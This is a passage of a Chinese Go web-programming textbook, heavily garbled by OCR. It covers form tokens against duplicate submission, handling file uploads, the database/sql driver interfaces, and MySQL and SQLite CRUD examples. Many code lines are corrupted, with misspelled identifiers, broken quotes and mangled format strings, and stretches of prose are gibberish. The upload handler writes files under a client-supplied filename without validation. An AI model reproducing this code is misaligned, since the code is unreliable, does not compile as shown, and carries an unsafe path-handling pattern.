时 ， 先 检查 带 有 该 唯一 值 的 表单 是 否 已 经 递交 过 了 。 如 果 是 ， 拒 绝 再 次 
递交 ;如 果 不 是 ， 则 处 理 表单 进行 逻辑 处 理 。 另 外 ， 如 果 采 用 了 Ajax 模 
式 递交 表单 ， 当 表单 递交 后 ， 通 过 javascript 来 禁用 表单 的 递交 按钮 。 
我 们 继续 拿 第 4.2 节 的 例子 优化 。 


<input type="checkbox" names"interest" values"football"> lst 
<input type="checkbox" name="interest" value="basketbal1"> iH 














<input type="checkbox" name="interest" value=ntennisn> 网 球 
用 户 名 :<input type="text" name=" 
密码 : <input type="password" name="] 
<input type="hidden" name="tok 
<input type="submit" value="% 
我 们 在 模版 里 面 增加 了 一个 隐藏 字段 oken， 这 个 什 是 通过 

MD5〔 时 间 稚 〉 来 获取 的 唯一 值 ， 然 后 我 们 把 这 个 值 存储 到 服务 器 端 
ete 我 们 将 在 第 6 章 讲 解 如 何 保存 ) ， 以 方便 表单 提交 时 
比 对 判定 










func login(w Attp.Responsewiriter, r *http.Request) { 
fmt-Printin("method:", r.Method) // 获 取 请 求 的 方法 
if x.Method == "GET" { 
crutime := time.Now() .Unix() 
h r= ma5.New() 
4o.WriteString(h, strconv.FormatInt (crutime, 10)) 
token := fmt.Sprintf("sx", h.Sum(nil)) 








t, — := template.ParseFiles("login.gtpl") 
t.Execute(w, token) 
} else 1 
JERE ERROR, MATS BEN 
x.ParseForm() 
token r.Form.Get ("token") 
if token != ww { 
/1 验证 token 的 合法 性 
} else { 


/1 不 存在 +oken 报错 








1 
fmt .Printin ("username length:", len(xr.Form["username"] [0])) 
fmt .Println ("username:", 
template .HTMLEscapeString (r.Form.Get ("username"))) // 输 出 到 服务 器 端 
fmt . Print 1n(" 
template HIMLEscapeString (r.form.Get ("password") )) 
template. HTMLEscape (w, []byte(r.Form.Get ("username"))) // 答 出 到 客 


assword:", 























Pi 
i 
Te IRIE. = 
上 面 的 代码 输出 到 页 面 的 源码 如 图 4.4 所 示 。 
© fi |D viey-source: 127. 0, 0, 1:9090/Login 

1 <html> 

2 head? 

a titley dtitle) 

i Cant 

5 <body> 

5 Storm actien="http://127. 0. 0, 1:9090/1ogin" asthod=“post"> 

8 <input “ name="interest” value=“ football >Æ 3IR 
9 <input “interest” value=“ basketball OIR 
10 <input * hanes" interest” value=" tennis" PPIK 
s 

12 FEJE <input type= "tert” nane=“usernans”? 

13 密码 : input type="password" name=“password"> 

14 <irput type="hidden" nane="token" Value=“d281cchdedl1afd3438925d92dfdT0sa7 > 
15 <input type="submit" value=“ 5i "> 

16 ‘foun 

i <script? 

10 alert [hel1o") 

is script 

20 ody 

a Diets 


图 4.4 增加 token 之 后 在 客户 端 输出 的 源码 信息 


我 们 看 到 token 已 经 有 输出 值 ， 你 可 以 不 断 地 刷新 ， 看 到 这 个 值 持 

续 变化 。 这 样 就 保证 了 每 次 显示 form 表 单 的 时 候 都 是 唯一 的 ， 用 户 递交 

的 表单 保持 了 唯一 性 。 

我 们 的 解决 方案 可 以 防止 非 恶 意 的 攻击 ， 并 能 使 恶意 用 户 暂时 不 知 

ee ae 它 却 不 能 排除 所 有 的 欺骗 性 的 动机 ， 对 此 类 情况 还 需要 更 
Y 


45 处 理 文 件 上 传 


你 想 处 理 一 个 由 用 户 上 传 的 文件 ， 比 如 你 正在 建设 一 个 类 似 
Instagram 的 网 站 ， 你 需要 存储 用 户 拍摄 的 照片 。 这 种 需求 该 如 何 实 现 
呢 ? 

要 使 表单 能 够 上 传 文件 ， 首 先 就 是 要 添加 form 的 enctype 属 性 ， 
enctype 属 性 有 如 下 三 种 情况 。 

‘application/x-waw-form-urlencoded 表示 在 发 送 前 编码 所 有 可 入 【默认 

multipart /form— A A 编码 ,在 使 用 包含 文件 上 传 控件 的 表单 时 , 必须 使 用 该 值 。 

text/plain Ht 

所 以 ， 表 单 | Hnn 

<html> 

<head> 

<title> hfe uth</titie> 

</nead> 

<body> 

<form enctypesnultipart/form-data" action=Mhttp://127.0.0.1:9080/ 
upload" method 

<input. type: 

<input types 
<input type="= 
</form> 

</body> 


</html> 
在 服务 器 端 ， 我 们 增加 一 个 handlerFunc。 









但 不 对 特 
类 似 于 下 述 情 ; 








http.HandleFunc("/upload", upload) 


// 处 理 /upload EIR 

func upload(w http.ResponseWriter, r *http.Request) { 
fmt.Printin("method:", r.Method) /7 获取 请 求 的 方法 
if x.Method == "GET" { 

time.Now () .Unix() 





io.WriteString(h, strconv.FormatInt (crutime, 10)) 
token := fmt.sprintf("sx", b.Sum(nil)) 


t, _ := template. ParsePiles ("upload.gtpl") 
t.Execute(w, token) 
} else i 
x-ParseMultipartForm(32 << 20) 
file, handler, err := r.FormFile(*uploadfile") 
if err != nil + 
fmt .Println (err) 
return 
} 
defer file.close() 
fmt ,Fprintf (w, "8v", handler.Header) 
f, err := o3.OpenFile("./test/"thandler.Filename, 03.0_WRONLY| 
09.0_CREATE, 0666) 
if err != nil { 
fmt .Printin (err) 
return 
} 
defer f.Close() 
io.Copy(f, file) 
上 


} 

通过 上 面 的 代码 可 以 看 到 ， 我 们 需要 调用 r.ParseMultipartForm 处 理 
文件 上 传 ， 里 面 的 参数 表示 maxMemory， 调 用 ParseMultipartForm 之 
后 ， 上 传 的 文件 存储 在 maxMemory 大 小 的 内 存 里 面 ， 如 果 文 件 大 小 超过 
了 maxMemory， 那 么 剩 下 的 部 分 将 存储 在 系统 的 临时 文件 中 。 我 们 可 以 
ie es 句柄 ， 然 后 实例 中 使 用 了 io.Copy 来 存储 








获取 其 他 非 文件 字段 信息 的 时 候 就 不 需要 调用 rParseForm， 因 
为 在 需要 的 时 候 Go 语言 自动 会 去 调用 ， 而 且 ParseMultipartForm 调 用 一 
次 之 后 ， 后 面 再 次 调用 不 会 再 有 效果 。 


通过 上 面 的 实例 我 们 可 以 看 到 上 传 文件 主要 三 个 步 步 又。 


1. 表单 中 增加 enctype="multipart/form-data"。 

2. 服务 端 调 用 r.ParseMultipartForm， 把 上 传 的 文件 存储 在 内 存 和 临 
时 文件 中 。 

3. 使 用 FormFile 获 取 文件 句柄 ， 然 后 对 文件 进行 存储 等 处 理 。 

文件 handler 是 multipart FileHeader， 里 面 存储 了 如 下 结构 信息 。 


type Filelieader struct ( 
Filename string 
Header textproto.MIMBHeader 
// contains filtered or unexported fields 


我 们 通过 上 面 的 实例 代码 打 印 出 来 上 传 文件 的 信息 如 图 4.5 所 示 。 








Little Book on Cofveeseript.pét"1 





129 [Content“Type: [spplicatien/sdf) Cont 


图 4.5 打印 文件 上 传 后 服务 器 er 
客户 端 上 传 文件 
上 面 的 例子 演示 了 如 何 通过 表单 上 传 文件 ， 然 后 在 服务 器 端 处 理 文 


件 ， 其 实 Go 语 言 支持 模拟 客户 端 表单 功能 支持 文件 上 传 ， 详 细 用 法 请 
看 如 下 示例 。 








package main 


import ( 
"bytes" 
"ime" 
vio 
io/ioutil" 
"mime /multipart" 
net/http" 
“os 


) 


func postfile (filename string, targetUrl string) error { 
bodyBuf := sbytes.Buffer{} 
bodyWriter := multipart .NewWriter (bodyBuf) 








7/ 关 键 的 一 步 操作 
filewriter, err 
nil { 
rintln ("error writing to buffer") 
return err 





bodynriter.CreaterormFile |" 





ploadřile", filename) 








} 
/7 打开 文件 句柄 操作 


fh, err := 05.0pen(filename) 

if err != nil { 
fmt.Printin("error opening file") 
return err 








J/iocopy 
, err = io.Copy(fileWriter, fh) 
if ere != nil { 

return err 
) 







contentTy odyWriter .FormDataContentType |) 
bodywriter. 0 

resp, p-Post(targetUrl, contentType, bodyBuf) 
if err int 


return err 
} 
defer resp.Body.Cclose() 
resp body, := ioutil.ReadAll (resp.Body) 
if err != 

return err 
J 
fmt.Printin (resp.Status) 
fmt .Printin(string(resp_body)) 
return nil 








1/ sample usage 
func main() { 






filename, target_url) 


上 面 的 例子 详细 展示 了 客户 端 如 何 向 服务 器 上 传 一 个 文件 的 例子 
客户 端 通过 multipart.Write 把 文件 的 文本 流 写 入 一 个 缓存 中 ， 然 后 调用 
http 的 Post 方 法 把 缓存 传 到 服务 器 。 

如 果 你 还 有 其 他 普通 字段 例如 username 之 类 的 需要 同时 写 入， 那么 
可 以 调用 multipart 的 WriteField 方 法 写 很 多 其 他 类 似 的 字段 。 


4.6 总 结 








L BAPER E 


我 们 在 本 章 学 习 了 Go 语言 如 何 处 理 表 单 
息 及 上 传 文件 的 手段 。 在 处 


传 文件 的 例子 展示 了 Go 语言 处 理 form 表 单 






理 表单 过 程 中 我 们 需要 验证 用 户 输 入 的 信息 ， 考 虑 到 网 站 安全 的 重要 
性 ， 数 显得 相当 重要 了 ， 因 此 后 面 的 章节 中 专门 有 一 节 讲 解 了 


不 同方 面 的 数据 过 滤 ， 顺 带 讲 一 下 Go 语言 对 字符 串 的 正则 处 理 。 
本 章 能 够 让 你 了 解 客户 端 和 服务 器 端 是 如 何 进行 数据 上 的 交互 ， 客 


A 将 数据 传递 给 服务 器 系统 ， 服 务 器 接受 数据 又 把 处 理 结果 反馈 给 客 


at 


第 5 章 ”访问 数据 库 


对 许多 Web 应 用 程序 而 言 ， 数 据 库 都 是 其 核心 所 在 。 数 据 库 几乎 可 
以 用 来 存储 你 想 查询 和 修改 的 任何 信息 ， 比 如 用 户 信息 、 产 品目 录 或 者 
新 闻 列 表 等 。 

Go 语言 没有 内 置 的 驱动 支持 任何 的 数据 库 ， 但 是 Go 语言 定义 了 
database/sql 接 口 ， 用 户 可 以 基于 驱动 接口 开发 相应 数据 库 的 驱动 ， 第 5.1 
节 里 面 介绍 Go 语言 设计 的 一 些 驱动 ， 介 绍 Go 语言 是 如 何 设计 数据 库 驱 
动 接口 的 。 第 5.2 至 第 5.4 节 介绍 目前 使 用 比较 多 的 一 些 关系 型 数据 驱动 
以 及 如 何 使 用 ， 第 5.5 节 介绍 笔者 开发 一 个 ORM 库 ， 基 于 database/sql 标 
准 接口 开发 的 ， 可 以 兼容 几乎 所 有 支持 database/sql 的 数据 库 驱动 ， 可 以 

方便 地 使 用 Go style 来 进行 数据 库 操作 。 

目前 NOSQL 已 经 成 为 Web 开 发 的 一 个 潮流 ， 很 多 应 用 采用 了 
NOSQL 作 为 数据 库 ， 而 不 是 以 前 的 缓存 ， 第 5.6 节 将 介绍 MongoDB 和 
Redis 两 种 NOSQL 数 据 库 。 











5.1 database/sql 接 





Go 语言 与 PHP 语 言 不 同 的 地 方 是 Go 语言 没有 官方 提供 数据 库 驱 
动 ， 而 是 为 开发 者 开发 数据 库 驱 动 定 义 了 一 些 标准 接口 ， 开 发 者 可 以 根 
据 定义 的 接口 来 开发 相应 的 数据 库 驱 动 ， 这 样 做 有 一 个 好 处 ， 只 要 按照 
标准 接口 开发 的 代码 ， 以 后 需要 迁移 数据 库 时 ， 不 需要 任何 修改 。 那 么 
Go 语言 都 定义 了 哪些 标准 接口 呢 ? 让 我 们 来 详细 分 析 一 下 。 





sql.Register 





这 个 存在 于 database/sql 的 函数 是 用 来 注册 数据 库 驱 动 的 ， 当 第 三 方 
开发 者 开发 数据 库 驱动 时 ， 都 会 实现 init 函 数 ， 在 init 里 面 会 调用 这 个 
Register(name string, driver driver.Driver) 完 成 本 驱动 的 注册 。 

我 们 来 看 一 下 mymysql、sqlite3 的 驱动 是 怎么 调用 的 。 





{/attps://github.com/mattn/go-sqlites 驱动 
func init() { 
sql.Register("sqlite3", esgritepriver{}) 


(/nttps://github.com/mi 
// Driver automatically 
var d = Driver(proto: " 
func init() { 
Register ("SET NAMES utf3") 
sql.Register ("mynysql", &d) 


第 三 方 数据 库 驱动 都 是 通过 调用 这 个 函数 来 注册 自己 的 数据 库 驱动 
名 称 及 相应 的 driver 实 现 。 在 database/sql 内 部 通过 一 个 map 来 存储 用 户 定 
义 的 相应 驱动 。 


var drivers = make (map[string]driver.Driver) 







PRUE, E kEdatabase/sqlM 2: Ji EA BCT DA IIMS AY & AR PEA, 
只 要 不 重复 。 
我 们 使 用 database/sql 接 口 和 第 三 方 库 时 经 常 看 到 如 下 界面 。 


import ( 
“database/sql" 
— "github. com/mattn/go-sqlite3" 


) 

新 手 都 会 被 这 个 “” 所 迷惑 ， 其 实 这 就 是 Go 语言 设计 的 巧妙 之 处 ， 
我 们 在 变量 赋值 的 时 候 经 常 看 到 这 个 符号 ， 它 是 用 来 忽略 变量 赋值 的 占 
位 符 ， 包 引入 用 到 这 个 符号 也 是 相似 的 作用 ， 这 里 使 用 < ”的 意思 是 引 
入 后 面 的 包 名 而 不 直接 使 用 这 个 包 中 定义 的 函数 ， 变 量 等 次 

我 们 在 第 2.3 节 流程 和 函数 的 一 节 中 介绍 过 init 函 数 的 初始 化 过 程 ， 
包 在 引入 的 时 候 会 自动 调用 包 的 init 函 数 以 完成 对 包 的 初始 化 。 因 此 ， 
我 们 引入 上 面 的 数据 库 驱 动 包 之 后 要 手动 去 调用 init 函 数 ， 然 后 在 init 函 
数 里 面 注册 这 个 数据 库 驱 动 ， 这 样 我 们 就 可 以 在 接 下 来 的 代码 中 直接 使 
用 这 个 数据 库 驱动 。 
















driver.Driver 


Driver 是 一 个 数据 库 驱 动 的 接口 ， 他 定义 了 一 个 method: 
Open(name string)， 这 个 方法 返回 一 个 数据 库 的 Conn 接 口 。 
type Driver interface { 
open tname string) (Conn, error) 
} 


返回 的 Conn 只 能 用 来 进行 一 次 goroutine 的 操作 ， 也 就 是 说 不 能 把 这 
个 Conn 应 用 于 Go 语言 的 多 个 goroutine 里 面 。 如 下 代码 会 出 现 错误 。 


go goroutinea (conn) // 执 行 查询 操作 
go goroutineB (Conn) /7/ 执 行 插入 操作 


上 面 所 列 代码 可 能 会 使 Go 语言 不 知道 某 个 操作 究竟 是 由 哪个 
goroutine 发 起 的 ， 从 而 导致 数据 混乱 ， 比 如 可 能 会 把 goroutineA 里 面 执 
行 的 查询 操作 的 结果 返回 给 goroutineB， 从 而 使 B 错 误 地 把 此 结果 当成 自 
己 执行 的 插入 数据 。 

第 三 方 驱动 都 会 定义 这 个 函数 ， 它 会 解析 name 参 数 来 获取 相关 数据 
库 的 连接 信息 ， 解 析 完 成 后 ， 它 将 使 用 此 信息 来 初始 化 一 个 Conn 并 返回 
它 。 


driver.Conn 


Conn 是 一 个 数据 库 连接 的 接口 定义 ， 它 定义 了 一 系列 方法 ， 这 个 
Conn 只 能 应 用 在 一 个 goroutine 里 面 ， 不 能 用 在 多 个 goroutine 里 面 ， 详 情 
请 参考 上 文 的 说 明 。 

type Conn interface { 

Prepare(query string) (Stmt, error) 
Close() error 
Begin() (Tx, error) 


} 
Prepare 函 数 返回 与 当前 连接 相关 的 执行 Sql 语句 的 准备 状态 ， 可 以 
进行 查询 、 删 除 等 操作 。 

Close 函 数 关闭 当前 的 连接 ， 执 行 释放 连接 拥有 的 资源 等 清理 工 
作 。 因 为 驱动 实现 了 database/sql 里 面 建议 的 conn pool， 所 以 读者 不 用 再 
去 实现 缓存 conn 之 类 的 ， 这 样 会 容易 引起 问题 。 

Begin 函 数 返 回 一 个 代表 事务 处 理 的 Tx， 读 者 通过 它 可 以 进行 查 
询 、 更 新 等 操作 ， 或 者 对 事务 进行 回 深 、 递 交 。 





driver.Stmt 





Stmt 是 一 种 准备 好 的 状态 ， 和 Conn 相 关联 ， 而 且 只 能 应 用 于 一 个 
goroutine 中 ， 不 能 应 用 于 多 个 goroutine。 


type stmt interface ( 
Close() error 
NumInput () int 
Exec(args []Value) (Result, error) 
Query(args []Value) (Rows, error) 


} 

Close 函 数 关 闭 当前 的 链接 状态 ， 但 是 如 果 当 前 正在 执行 query， 
query 还 是 有 效 返回 rows 数 据 。 

NumInput 函 数 返回 当前 预 留 参 数 的 个 数 ， 当 返回 >=0 时 数据 库 驱动 
总 和 和 用 者 的 参数 : 当 数 据 库 驱动 包 不 知道 预 留 参数 的 时 候 ， 

1 

Exec 函 数 执行 Prepare 准 备 好 的 sql， 传 入 参数 执行 updateyinsert 等 操 
作 ， 返 回 Result 数 据 。 

Query 函 数 执行 Prepare 准 备 好 的 sql， 传 入 需要 的 参数 执行 select 操 
作 ， 返 回 Rows 结 果 集 。 


driver.Tx 


FARRE, ARAR. Be EMR E E R fa 
要 实现 这 两 个 函数 即 可 。 
type Tx interface { 
Commit () error 
Rollback() error 


ROP DMR NI, FP REA 
driver.Execer 


这 是 一 个 Conn 可 选择 实现 的 接口 。 
type Execer interface { 
Exec (query string, args []Value) (Result, error) 


如 果 这 个 接口 没有 定义 ， 那 么 在 调用 DB.Exec 时 ， 就 会 首先 调用 
Prepare 返 回 Stmt， 然 后 执行 Stmt 的 Exec， 最 后 关闭 Stmt。 
driver.Result 


这 是 执行 Update/Insert 等 操作 返回 的 结果 接口 定义 。 


type Result interface { 
LastinsertId() (int64, error) 
RowsAffected() (int64, error) 


‘LastlnsertIde 88 [el SH RTA Hefe IR AMIDE 
RowsAffected 函 数 返 回 query 操 作 影 响 的 数据 条 目 数 。 


driver.Rows 


Rows 是 执行 查询 返回 的 结果 集 接口 定义 
interface { 

O [lstring 

close() error 

Next (dest []Value) error 









> 

Columns 函 数 返回 查询 数据 库 表 的 字段 信息 ， 这 个 返回 的 slice 和 sql 
查询 的 字段 一 一 对 应 ， 而 不 是 返回 整个 表 的 所 有 字段 。 

Close 函 数 用 来 关闭 Rows 和 迭代 器 。 

Next 函 数 用 来 返回 下 一 条 数据 ， 把 数据 赋值 给 dest。dest 里 面 的 元 素 
必须 是 driver，Value 的 值 除了 string， 返 回 的 数据 中 所 有 的 string 都 必须 
要 转换 成 ]byte。 如 果 最 后 没 数据 了 ，Next 函 数 最 后 返回 io.EOF。 


driver.RowsAffected 


RowsAffested 其 实 就 是 一 个 int64 的 别名 ， 但 是 它 实 现 了 Result 接 
口 ， 以 底层 实现 Result 的 表示 方式 。 


type Rowsaffected int64 
func (RowsAffected) LastInsertId() (int64, error) 


func iv RowsAffected) RowsAffected() (int64, error) 


driver. Value 


Value 其 实 就 是 一 个 空 接口 ， 它 可 以 容纳 任何 数据 。 


type Value interface 
drive 的 Value 是 驱动 必须 能 够 操作 的 Value，Value 要 么 是 nil， 要 么 


是 下 面 的 任意 一 种 。 






int64 

Floatéa 

bool 

(byte 

string [*]PRT Rows Next 返回 的 不 能 是 string. 
time. Time 


driver. ValueConverter 


ValueConverter 接 口 定义 了 如 何 把 一 个 普通 的 值 转化 成 driver.Value 
的 接口 。 


type ValueConverter interface { 
ConvertValue(v interface{}) (Value, error) 


} 

在 开发 的 数据 库 驱动 包 中 实现 这 个 接口 的 函数 在 很 多 地 方 会 使 用 
到 ，ValueConverter 有 很 多 好 处 ， 表 现 如 下 。 

se 转化 drivervalue 到 数据 库 表 相应 的 字段 ， 例 如 int64 的 数据 如 何 
转化 成 数据 库 表 uint16 字 段 。 

se， 把 数据 库 查 询 结果 转化 成 driver.Value 值 。 

@ 在 scan 函 数 里 面 如 何 把 dirve.Value 值 转化 成 用 户 定义 的 值 。 


driver.Valuer 


Valuer 接 口 定义 了 返回 一 个 driver.Value 的 方式 。 
type Valuer interface { 
value() (Value, error) 


很 多 类 型 都 实现 了 这 个 Value 方法 ， 用 来 自身 与 driver Value 的 转 
化 。 
通过 上 面 的 讲解 ， 你 应 该 对 于 驱动 的 开发 有 了 一 个 基本 的 了 解 ， 一 


个 驱动 只 要 实现 了 这 些 接口 就 能 完成 增删 查 改 等 基本 操作 ， 剩 下 的 就 是 
与 相应 的 数据 库 进行 数据 交互 等 细节 问题 了 ， 在 此 不 再 更 述 。 





database/sql 


database/sql 在 database/sql/driver 提 供 的 接口 基础 上 定义 了 一 些 更 高 
阶 的 方法 ， 用 以 简化 数据 库 操作 ， 同 时 内 部 还 建议 性 地 实现 一 个 conn 


pool. 


type DB struct { 
driver driver.Driver 
dsn string 
mu sync.Mutex // protects freeconn and closed 
freeconn []driver.Conn 
closed bool 


} 

我 们 可 以 看 到 Open 函 数 返回 的 是 DB 对 象 ， 里 面 有 一 个 freeConn， 
它 就 是 那个 简易 的 连接 池 。 它 的 实现 相当 简单 或 者 说 简陋 ， 就 是 当 执行 
Db.prepare 的 时 候 会 defer db.putConn(ci, err)， 也 就 是 把 这 个 连接 放 入 连 
接 池 ， 每 次 调用 conn 的 时 候 会 先 判 断 freeConn 的 长 度 是 否 大 于 0， 大 于 0 
说 明 有 可 以 复 用 的 conn， 直 接 拿 出 来 用 就 是 ， 如 果 不 大 于 0， 则 创建 一 
个 conn， 然 后 再 返回 之 。 


5.2 ”使 用 MySQL 数 据 库 




















目前 Internet 上 流行 的 网 站 构架 方式 是 LAMP， 其 中 M 即 MySQL， 作 
为 数据 库 ，MySQL 以 免费 、 开 源 、 使 用 方便 为 优势 成 为 了 很 多 Web 开 发 
的 后 端 数据 库存 储 引擎 。 





MySQL 了 驱动 


Go 语言 中 支持 MySQL 的 驱动 目前 比较 多 ， 有 如 下 几 种 ， 有 些 是 支 
入 而 有 些 是 采用 了 自己 的 实现 接口 ， 常 用 的 有 如 下 几 


。 https://github.com/Go-SQL-Driver/MySQL 支 持 database/sql， 全 部 
写 





。 https://github.com/ziutek/mymysql 支 持 database/sql， 也 支持 自 定 
义 的 接口 ， 全 部 采用 Go 语言 写 。 

https://github.com/Philio/GoMySQL 不 支持 database/sql， 自 定义 
接口 ， 全 部 采用 Go 语言 写 。 

接 下 来 的 例子 我 们 主要 以 第 一 个 驱动 为 例 (笔者 目前 项 目 中 也 是 采 
用 它 来 驱动 ) ， 也 推荐 大 家 采用 它 ， 主 要 理由 如 下 

。 这 个 驱动 比较 新 ， 维 护 得 比较 好 。 

。 完全 支持 database/sql 接 口 。 

e ”支持 keepalive， 保 持 长 连接 ， 虽 然 星 星 (一 个 Go 语言 的 爱好 
者 ， 名 字 叫 做 邢 兴 ， 网 名 叫做 星星 )fork 的 mymysql 也 支持 keepalive， 





但 不 是 线程 安全 的 ， 这 个 从 底层 就 支持 了 keepalive。 
示例 代码 


接 下 来 的 几 节 内 容 ， 我 们 都 将 采用 同一 个 数据 库 表 结构 ， 数 据 库 
test、 用 户 表 userinfo 及 关联 用 户 信息 表 userdetail。 
CREATE TABLE ‘userinfo’ ( 
‘aid’ INT(10) NOT NULL AUTO_INCREMENT, 
‘username’ VARCHAR (64) NULL DEFAULT NULL, 
‘departname’ VARCHAR (64) NULL DEFAULT NULL, 
‘created’ DATE NULL DEFAULT NULL, 
PRIMARY KEY (uid) 
) 


CREATE TABLE ‘userdetail’ ( 
uid’ INT(10) NOT NULL DEFAULT ‘0° 
“intro” TEXT NULL, 
profile’ TEXT NULL, 
PRIMARY KEY (uid) 


Fl 示例 将 示范 如 何 使 用 database/sql 接 口 对 数据 库 表 进行 增删 改 查 


package main 


import ( 
"github. com/Go-sQL-Driver/MysgL" 
"database/sqi" 
seme" 
//"time™ 
) 


func main() { 
db, err := sal.Open("mysql", "astaxic:astaxie@/test?charset-ut £0") 
checkErr (err) 





7/ 插 入 数据 

stmt, err 
created=2") 

checkErr (=: 





db. Prepare ("INSERT userinfo SET usernam 





departnane: 








res, err stmt.Exec("astaxie", "研发 部 门 "，"2012-12-09") 


checkzrr (err) 





id, err i= res.lastInsertid() 
checkrr (err) 


fmt .Println(id) 
7/ 更 新 数据 

stmt, err = db. Prep 
checkErr (err) 


("update userinfo set username=? where ui 





res, err = stmt.Exec("astaxicupdate", id) 
checkErr (err) 


affect, err := res.RowsAffec' 
checksrr (err) 





fmt .Erintln (affect) 


7/ 查 询 数据 
rows, err 
checkErr ( 








1) 
for rows.Next() ( 
strini 


department str 
reated string 













-Println(uid) 
-Erincln (username) 
-Print1n (department) 
-Print1n (created) 


} 


/7 删除 数据 
stmt, err = db. Prepare ("de 
checkErr (err) 





res, err = stmt.Exec (id) 


checkErr (err) 


affect, err 
checkErr (err) 


res.RowsAffected() 


Emt .Frintln (affect) 


db.closel) 





panic(err) 
} 


X 


便 。 
我 的 解释 一 下 关键 的 几 个 函数 





通过 上 面 的 代码 我 们 可 以 看 出 ，Goii 


:= db.Query("SELECT * FROM userinfo") 


s.Scan (uid, gusername, sdepartment, «created) 


lete from userinfo where uid=2") 


操作 Mysql 数 据 库 非常 方 


HA 


sql.Open() 函 数 用 来 打开 一 个 注册 过 的 数据 库 驱 动 ，Go-MySQL- 
Driver 中 注册 了 mysql 这 个 数据 库 驱动 ， 第 二 个 参数 是 DNS(Data Source 


Name)， 它 是 Go-MySQL-Driver 定 义 的 一 
支持 如 下 格式 。 





些 数 据 库 链接 和 配置 信息 。 它 


user@unix (/path/to/socket) /dbname?charset=ut f8 

user :password@tcp (localhost : 5555) /dbname?charset~ut £8 
user:password@/dbname 

uses Pasoxoedet gp (Ia adzbe:ef::ca: fe] :80) /dbnar 


db.Prepare() Fi 用 来 返回 准备 要 执行 的 sql 操 作 ， 然后 返回 准备 完毕 
的 执行 状态 。 

db.Query0 函 数 用 来 直接 执行 Sql 返回 Rows 结 果 。 

stmt.Exec() 函 数 用 来 执行 stmt 准 备 好 的 SQL 语句 。 

我 们 可 以 看 到 传 入 的 参数 都 是 =? 对 应 的 数据 ， 这 样 做 的 方式 可 以 在 
一 定 程度 上 防止 SQL 注入 。 


5.3 ”使 用 SQLite 数 据 库 


SQLite 是 一 个 开源 的 嵌入 式 关系 数据 库 ， 实 现 自 包容 、 零 配置 、 支 
持 事务 的 SQL 数 据 库 引擎 。 其 特点 是 高 度 便 擒 、 使 用 方便 、 结 构 紧凑 、 
高 效 、 可 靠 。 与 其 他 数据 库 管理 系统 不 同 ，SQLite 的 安装 和 运行 非常 简 
单 ， 在 大 多 数 情况 下 ， 只 要 确保 SQLite 的 二 进 制 文件 存在 ， 即 可 开始 创 
建 、 连 接 和 使 用 数据 库 。 如 果 你 正在 寻找 一 个 嵌入 式 数 据 库 项 目 或 解决 
方案 ，SQLite 是 绝对 值得 考虑 。SQLite 可 以 说 是 开源 的 Access。 


x Go 语言 支持 sqlite 的 驱动 也 比较 多 ， 但 是 好 多 都 不 支持 database/sql 
口 。 

e https://github.com/mattn/go-sqlite3 支 持 database/sql 接 口 ， 基 于 
cgo《〈 关 于 cgo 的 知识 请 参看 官方 文档 或 者 本 书后 续 章 节 ) 而 写 。 

® https://github.com/feyeleanor/gosqlite3 不 支持 database/sql 接 口 ， 
基于 cgo 而 写 。 

e ”https://github.com/phf/go-sqlite3 不 支持 database/sql 接 口 ， 基 于 cgo 




















a 


目前 支持 database/sql 的 SQLite 数 据 库 驱动 只 有 第 一 个 ， 笔 者 目前 也 
是 采用 它 来 开发 项 目 。 采 用 标准 接口 有 利于 以 后 出 现 更 好 的 驱动 时 做 迄 


移 
实例 代码 


实例 的 数据 库 表 结 构 如 下 所 示 ， 相 应 的 建 表 SQ。 
CREATE TABLE “userinfo { 
“uid? INTEGER PRIMARY KEY AUTOINCREMENT, 
“username” VARCHAR (64) NULL, 
“departname’ VARCHAR (64) NULL, 
‘created’ DATE NULL 
Vi 


CREATE TABLE “userdeatail’ ( 
‘uid’ INT(10) NULL, 
“intro” TEXT NULL, 
‘profile’ TEXT NULL, 
PRIMARY KEY (uid) 


者 下 面 Go 语言 程序 是 如 何 操作 数据 库 表 数 据 增删 改 查 。 


package main 


import ( 
"database/sql” 
Sones 
github.com/mattn/go-sqlite3" 
) 


func main() { 
db, err := sgl.Open("sqlite3", "./foo.dl 
checkErr (err) 





/7 插入 数据 

stmt, err := db.Prepare ("INSERT INTO userinfo (username, departname, 
created) values (?,?,2)") 

checkErr (err) 





res, err := stmt.Gxec("astaxie", "WAMII", "2012-12-09") 
checkErr (err) 





id, err := res LastInsertid() 
checkErr (err) 


fmt. Printin (id) 

77 更 新 数据 

stmt, err = db.Prepare ("update userinfo set username=? where uid=?") 
checksrr (err) 


res, err = stmt.Bxec("astaxicupdate", id) 
checkerr (err) 


affect, err := res.RowsAffected|() 
checkErr (err) 


fmt .Printin (effect) 


/7 查询 数据 
rows, err 
checkErr (err) 





db. Query ("SELECT * FROM userinfo") 


for rows.Next() { 
var uid int 
var username string 
var department string 
var created strin 








err = rows.scan(suid, susername, sdepartment, screated) 
checkBrr (err) 
fmt. Printin (wid) 





fmt. Pri: 
fmt .Printin (department) 
fmt.Println (created) 

] 


/7 删除 数据 
stmt, err = db.Prepare("delete from userinfo where uid=?") 
checkErr (err) 





res, err = stmt.Exec (id) 
checkErr (err) 


affect, err = res.Rows 
checkErr (err) 





fmt. Printin (affect) 
db.Close() 
} 


func checkerr(err error) { 
if err != nil ( 
panic(err) 
1 


} 

我 们 可 以 看 到 ， 上 面 的 代码 和 MySQL 例 子 里 面 的 代码 几乎 是 一 模 
一 样 的 ， 唯 一 改变 的 就 是 导入 的 驱动 改变 了 ， 然 后 调用 sql.Open 是 采用 
了 SQLite 的 方式 打开 。 

sqlite 管 理工 具 : http:/sqliteadmin.orbmu2k.de/， 可 以 方便 地 新 建 数 
据 库 管理 。 


5.4 (EH PostgreSQL% E 























PostgreSQL 是 一 个 自由 的 对 象 -关系 数据 库 服务 器 (数据 库 管理 系 
统 ) ， 它 在 灵活 的 BSD- 风 格 许可 证 下 发 行 。 它 提供 了 相对 其 他 开放 源 
代码 数据 库 系统 (比如 MySQL 和 Firebird》 ， 以 及 对 专 有 系统 比如 
Oracle、Sybase、IBM 的 DB2 和 Microsoft SQL Server) 的 一 种 选择 。 

PostgreSQL 和 和 MySQL 比较， 更 加 庞大 ， 因 为 它 是 为 蔡 代 Oracle 而 设 
计 的 。 所 以 在 企业 应 用 中 采用 PostgreSQL 是 一 个 明智 的 选择 。 

现在 MySQL 被 Oracle 收 购 之 后 ， 有 传闻 Oracle 正 在 逐步 的 封闭 
MySQL， 鉴 于 此 ， 将 来 我 们 也 许 会 选择 PostgreSQL 而 不 是 MySQL 作 为 
项 目的 后 端 数据 库 。 


